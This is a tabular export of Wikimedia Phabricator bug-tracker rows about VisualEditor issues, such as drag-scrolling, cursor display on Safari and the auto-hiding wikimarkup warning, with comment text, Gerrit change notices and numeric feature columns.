https://gerrit.wikimedia.org/r/74972",,,1374632622,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4e4lr7gjx3fhin7zieit,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.105263157894737,1.0,"Change 74972 merged by jenkins-bot:
Add bold/italic for more latin langages

GERRIT_URL"
239006,VisualEditor: Set correct text annotation buttons for hu (B/D),"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

https://gerrit.wikimedia.org/r/74972",,,1374412441,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4e4lr7gjx3fhin7zieit,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.363636363636363,1.0,"Change 74972 had a related patch set uploaded by Esanders:
Add bold/italic for more latin langages

GERRIT_URL"
53701,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","At the moment wikimarkup being entered into the VE triggers a notice warning the user that it won't work - this notice then has to be actively dismissed. It'd be nice if, should the user remove the problematic markup, the notice would vanish.

I'm popping this in as a low-priority enhancement: I appreciate the VE team has active breakage to focus on.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52386
https://bugzilla.wikimedia.org/show_bug.cgi?id=70168",Low,25.0,1374265800,1391815339.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,1.0,0.5,4.0,0.5,0.0,0.0,0.5,2.0,1.5,0.0,0.0,0.0,1.5,0.0,2.5,6.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.5,2.5,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.5,0.0,0.0,8.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,9.5,1.0,0.0,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,2.5,6.5,2.5,0.0,0.0,0.0,2.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,3.75,0.7019230769230769,"At the moment wikimarkup being entered into the VE triggers a notice warning the user that it won't work - this notice then has to be actively dismissed. It'd be nice if, should the user remove the problematic markup, the notice would vanish.

I'm popping this in as a low-priority enhancement: I appreciate the VE team has active breakage to focus on.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
238958,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","That area of code could do with some rethinking, but this is basically done.",,,1391815339,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,True,,,31,,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,1.0,"That area of code could do with some rethinking, but this is basically done."
238953,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","Change 110295 merged by jenkins-bot:
Hide wikitext warning notification when the user removes the markup

https://gerrit.wikimedia.org/r/110295",,,1391813698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,14.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.904761904761905,0.9523809523809523,"Change 110295 merged by jenkins-bot:
Hide wikitext warning notification when the user removes the markup

GERRIT_URL"
238948,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","Change 110295 had a related patch set uploaded by Alex Monk:
Hide wikitext warning notification when the user removes the markup

https://gerrit.wikimedia.org/r/110295",,,1391045818,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,30,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,20.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.84,0.96,"Change 110295 had a related patch set uploaded by Alex Monk:
Hide wikitext warning notification when the user removes the markup

GERRIT_URL"
238942,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","(In reply to comment #3)
> There's an issue with this though, in that the popup hovers over the 'Save
> page' button so I couldn't actually click 'Save page' very easily. It wasn't
> at
> all clear to me that clicking anywhere on the popup would close it.

You aren't the first person to say that - see bug 52386",,,1380727372,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,10.0,0.0,7.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7666666666666667,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

You aren't the first person to say that - see bug 52386"
238937,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","(In reply to comment #2)
> The popup should also be closed automatically after the ""save page"" button
> has
> been pressed. At that point it's clear that the user is not going to remove
> any
> markup that still remains (for whatever reason) so the notice serves no other
> purpose and just gets in the way of the edit summary dialog.

There's an issue with this though, in that the popup hovers over the 'Save page' button so I couldn't actually click 'Save page' very easily. It wasn't at all clear to me that clicking anywhere on the popup would close it.",,,1380724444,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,True,,,13,,1.0,0.0,1.0,0.0,3.0,1.0,1.0,0.0,1.0,0.0,3.0,8.0,0.0,0.0,1.0,3.0,0.0,14.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,17.0,3.0,0.0,7.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,6.0,14.0,7.0,0.0,6.0,0.0,6.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.3333333333333335,0.6944444444444444,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

There's an issue with this though, in that the popup hovers over the 'Save page' button so I couldn't actually click 'Save page' very easily. It wasn't at all clear to me that clicking anywhere on the popup would close it."
238932,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","The popup should also be closed automatically after the ""save page"" button has been pressed. At that point it's clear that the user is not going to remove any markup that still remains (for whatever reason) so the notice serves no other purpose and just gets in the way of the edit summary dialog.",,,1375812069,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,5,,2.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,10.0,5.0,3.0,2.0,2.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.8688524590163934,"The popup should also be closed automatically after the ""save page"" button has been pressed. At that point it's clear that the user is not going to remove any markup that still remains (for whatever reason) so the notice serves no other purpose and just gets in the way of the edit summary dialog."
238928,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup",%%%*** Bug 52155 has been marked as a duplicate of this bug. ***%%%,,,1375381691,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 52155 has been marked as a duplicate of this bug. ***%%%
53696,VisualEditor: Move-dragging a media item shows the copy cursor on Mac/Safari,"If I move an image around, I see the ""copy"" cursor, even though I'm just moving.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1374262740,1437787097.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-ujehggdfeqiirechz6c2,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4,0.675,"If I move an image around, I see the ""copy"" cursor, even though I'm just moving.

--------------------------
**Version**: unspecified
**Severity**: minor"
238494,VisualEditor: Move-dragging a media item shows the copy cursor on Mac/Safari,"Created attachment 13903
cursor image

Oh, the screenshot doesn't show the cursor, but I added an example image of the cursor type instead.

Safari Mac Version 7.0 (9537.71) just dragging around a thumbnailed image throughout the text shows this problem for me. It changes from the move cursor to the copy cursor.

**Attached**: {F11318}",,,1385421258,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ujehggdfeqiirechz6c2,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,12.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,4.0,8.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,3.9452054794520546,0.7397260273972602,"Created attachment 13903
cursor image

Oh, the screenshot doesn't show the cursor, but I added an example image of the cursor type instead.

Safari Mac Version 7.0 (9537.71) just dragging around a thumbnailed image throughout the text shows this problem for me. It changes from the move cursor to the copy cursor.

**Attached**: {F11318}"
238486,VisualEditor: Move-dragging a media item shows the copy cursor on Mac/Safari,"Nope, I still see this problem. Initially it's the move cursor, but as soon as i move the cursor somewhere between the lines, i get the copy cursor.

Screenshot attached.",,,1385420891,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ujehggdfeqiirechz6c2,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,13.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,5.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.736842105263158,0.6842105263157895,"Nope, I still see this problem. Initially it's the move cursor, but as soon as i move the cursor somewhere between the lines, i get the copy cursor.

Screenshot attached."
238481,VisualEditor: Move-dragging a media item shows the copy cursor on Mac/Safari,The cursor I get in Safari (the same as in Firefox and Chrome) is the move cursor (a four-pointed cross). Marking as WORKSFORME. Possibly a config issue with your system?,,,1385387607,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ujehggdfeqiirechz6c2,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,21.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,13.0,3.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.6153846153846154,0.7948717948717948,The cursor I get in Safari (the same as in Firefox and Chrome) is the move cursor (a four-pointed cross). Marking as WORKSFORME. Possibly a config issue with your system?
53675,VisualEditor: Section edit links don't work like wikitext where the section is transcluded from elsewhere,"http://it.wikipedia.org/wiki/Template:Cassetto is AFAIK the Italian version of Hidden (it shouldn't be used in articles).

http://it.wikipedia.org/wiki/Utente:Superchilum features a cassetto named Tudù which transcludes the subpage Utente:Superchilum/do.

If you try and edit the first section in that cassetto, Varie, with the classic editor, you correctly manage to edit the /do subpage; VE instead only allows editing the main userpage.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1374231000,1663955476.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-wcreo2gxsoyscsxloyxc,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,1.0,1.0,6.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,10.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.031914893617022,0.6914893617021277,"URL is AFAIK the Italian version of Hidden (it shouldn't be used in articles).

URL features a cassetto named Tudù which transcludes the subpage Utente:Superchilum/do.

If you try and edit the first section in that cassetto, Varie, with the classic editor, you correctly manage to edit the /do subpage; VE instead only allows editing the main userpage.

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
1988921,VisualEditor: Section edit links don't work like wikitext where the section is transcluded from elsewhere,"The example page linked here no longer has any section edit links on it, so I can't test this exact case, but I believe we fixed this issue in 2017 with {b7dd6077b8cab3740cb84b5c003ad272ff09ab8f} (related to T153176).",,,1663955476,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-wcreo2gxsoyscsxloyxc,task_subcomment,,True,c1,3,True,,,481,,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,9.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.255813953488372,0.9302325581395349,"The example page linked here no longer has any section edit links on it, so I can't test this exact case, but I believe we fixed this issue in 2017 with {b7dd6077b8cab3740cb84b5c003ad272ff09ab8f} (related to T153176)."
53669,Editing window does not scroll when dragging,"When dragging an item in the visual editor (tested with image and text), the editing window does not scroll up or down when you reach the top or bottom of the window. This means you have to make several consecutive drag and drop actions to move an item within a long article/section. Per Bug 51665 the image must be separately selected before you are able to drag it (i.e. each movement requires two mouse clicks).

**See Also**:
{T36307}
{T75240}",Low,25.0,1374226320,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_description,open,True,c1,3,False,False,,2,,1.5,0.0,0.0,1.0,0.5,3.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,2.0,1.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,1.0,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,12.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,5.0,2.0,7.0,1.0,2.0,6.5,0.0,0.0,0.0,0.0,4.5,0.0,2.0,0.0,3.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,1.0,3.6805882352941177,0.841764705882353,"When dragging an item in the visual editor (tested with image and text), the editing window does not scroll up or down when you reach the top or bottom of the window. This means you have to make several consecutive drag and drop actions to move an item within a long article/section. Per Bug 51665 the image must be separately selected before you are able to drag it (i.e. each movement requires two mouse clicks).

**See Also**:
{T36307}
{T75240}"
450260,Editing window does not scroll when dragging,"I tested moving an image again today, and this is the result on my Air Os X in https://en.wikipedia.org/wiki/Victor_Diaz_Lamich?veaction=edit, using the trackpad.
In Chrome, maximized window, using Lamich’s plane pic:
*I click on it and drag it down to put it at the bottom of the article, a green “+"" icon appears to guide me (good!). Nothing happens if I hover my pointer around the bottom of the page; down arrow does nothing; the side scrollbar doesn’t appear.
*The two-fingers scroll gesture does work when the pointer is on the side scrollbar, so I manage to put the pic at the bottom of the article.
*Now trying to put it back where it was, so I click and drag it again. Nothing happens if I hover around the top of the page or hit the up arrow, but the page does scroll if instead I move the pointer /on/ the toolbar (scroll gesture while on the side scrollbar also works). There may be a problem with the focus though, but at least the pic is where I want it to be.

In Safari, maximized window, using the same pic:
*Dragging the pic doesn’t show the green + icon, but a line instead. Dragging it toward the bottom of the screen achieves nothing. 
*The two-fingers scroll gesture works on the entire surface of the page, and it’s the only way to get to the bottom of the page, and then on the top again. Hovering on the toolbar while dragging accomplishes nothing in Safari; it shows the green + icon though, in the area of the tab name.
*Dragging and pressing the up and down arrows doesn’t seem to work. In the rare cases when it does, both the up and the down keys will actually move the pic toward the top of the page, one line at the time (holding the key never works in my experience).
 ",,,1430228132,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,95,,0.0,0.0,0.0,0.0,0.0,4.25,0.75,0.0,0.5,0.75,2.25,0.0,0.25,0.25,0.25,3.0,0.0,5.25,12.25,1.25,1.75,0.0,0.5,0.0,0.5,0.75,0.0,0.5,0.25,0.25,0.25,6.75,0.75,2.75,0.0,0.0,0.75,0.0,0.0,0.75,0.0,0.0,1.25,0.0,0.0,0.0,0.0,0.0,0.0,18.5,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.75,1.0,0.5,1.0,0.0,0.0,0.25,0.0,0.0,13.0,1.5,7.25,2.5,3.25,13.25,0.0,0.0,0.25,0.0,4.25,0.0,0.75,0.0,5.75,12.25,1.5,0.0,0.25,0.0,5.75,0.0,1.0,1.0,0.25,3.0,0.0,0.25,0.0,3.4713541666666665,0.671875,"I tested moving an image again today, and this is the result on my Air Os X in URL using the trackpad.
In Chrome, maximized window, using Lamich’s plane pic:
*I click on it and drag it down to put it at the bottom of the article, a green “+"" icon appears to guide me (good!). Nothing happens if I hover my pointer around the bottom of the page; down arrow does nothing; the side scrollbar doesn’t appear.
*The two-fingers scroll gesture does work when the pointer is on the side scrollbar, so I manage to put the pic at the bottom of the article.
*Now trying to put it back where it was, so I click and drag it again. Nothing happens if I hover around the top of the page or hit the up arrow, but the page does scroll if instead I move the pointer /on/ the toolbar (scroll gesture while on the side scrollbar also works). There may be a problem with the focus though, but at least the pic is where I want it to be.

In Safari, maximized window, using the same pic:
*Dragging the pic doesn’t show the green + icon, but a line instead. Dragging it toward the bottom of the screen achieves nothing. 
*The two-fingers scroll gesture works on the entire surface of the page, and it’s the only way to get to the bottom of the page, and then on the top again. Hovering on the toolbar while dragging accomplishes nothing in Safari; it shows the green + icon though, in the area of the tab name.
*Dragging and pressing the up and down arrows doesn’t seem to work. In the rare cases when it does, both the up and the down keys will actually move the pic toward the top of the page, one line at the time (holding the key never works in my experience).
 "
394078,Editing window does not scroll when dragging,"Yes, OS X 10.9.5 Chrome and Windows 7 with IE 11- objects cannot be dragged beyond the bottom or the top of the page - the page does not scroll up. In IE 11, sometimes it's possible to drag beyond the bottom of a page but never beyond the top of editing area. ",,,1419959778,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,True,,,78,,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,14.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,5.0,2.0,3.0,0.0,2.0,17.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5084745762711864,0.711864406779661,"Yes, OS X 10.9.5 Chrome and Windows 7 with IE 11- objects cannot be dragged beyond the bottom or the top of the page - the page does not scroll up. In IE 11, sometimes it's possible to drag beyond the bottom of a page but never beyond the top of editing area. "
393966,Editing window does not scroll when dragging,I'm on OS X 10.10.1 (14B25) with Chrome 40.0.2214.45 beta (64-bit) and the issue is present. ,,,1419920556,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-xnlwaxwz6vxmxx7sxwlh,task_subcomment,,True,c1,3,False,,,78,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2083333333333335,0.9166666666666666,I'm on OS X 10.10.1 (14B25) with Chrome 40.0.2214.45 beta (64-bit) and the issue is present. 
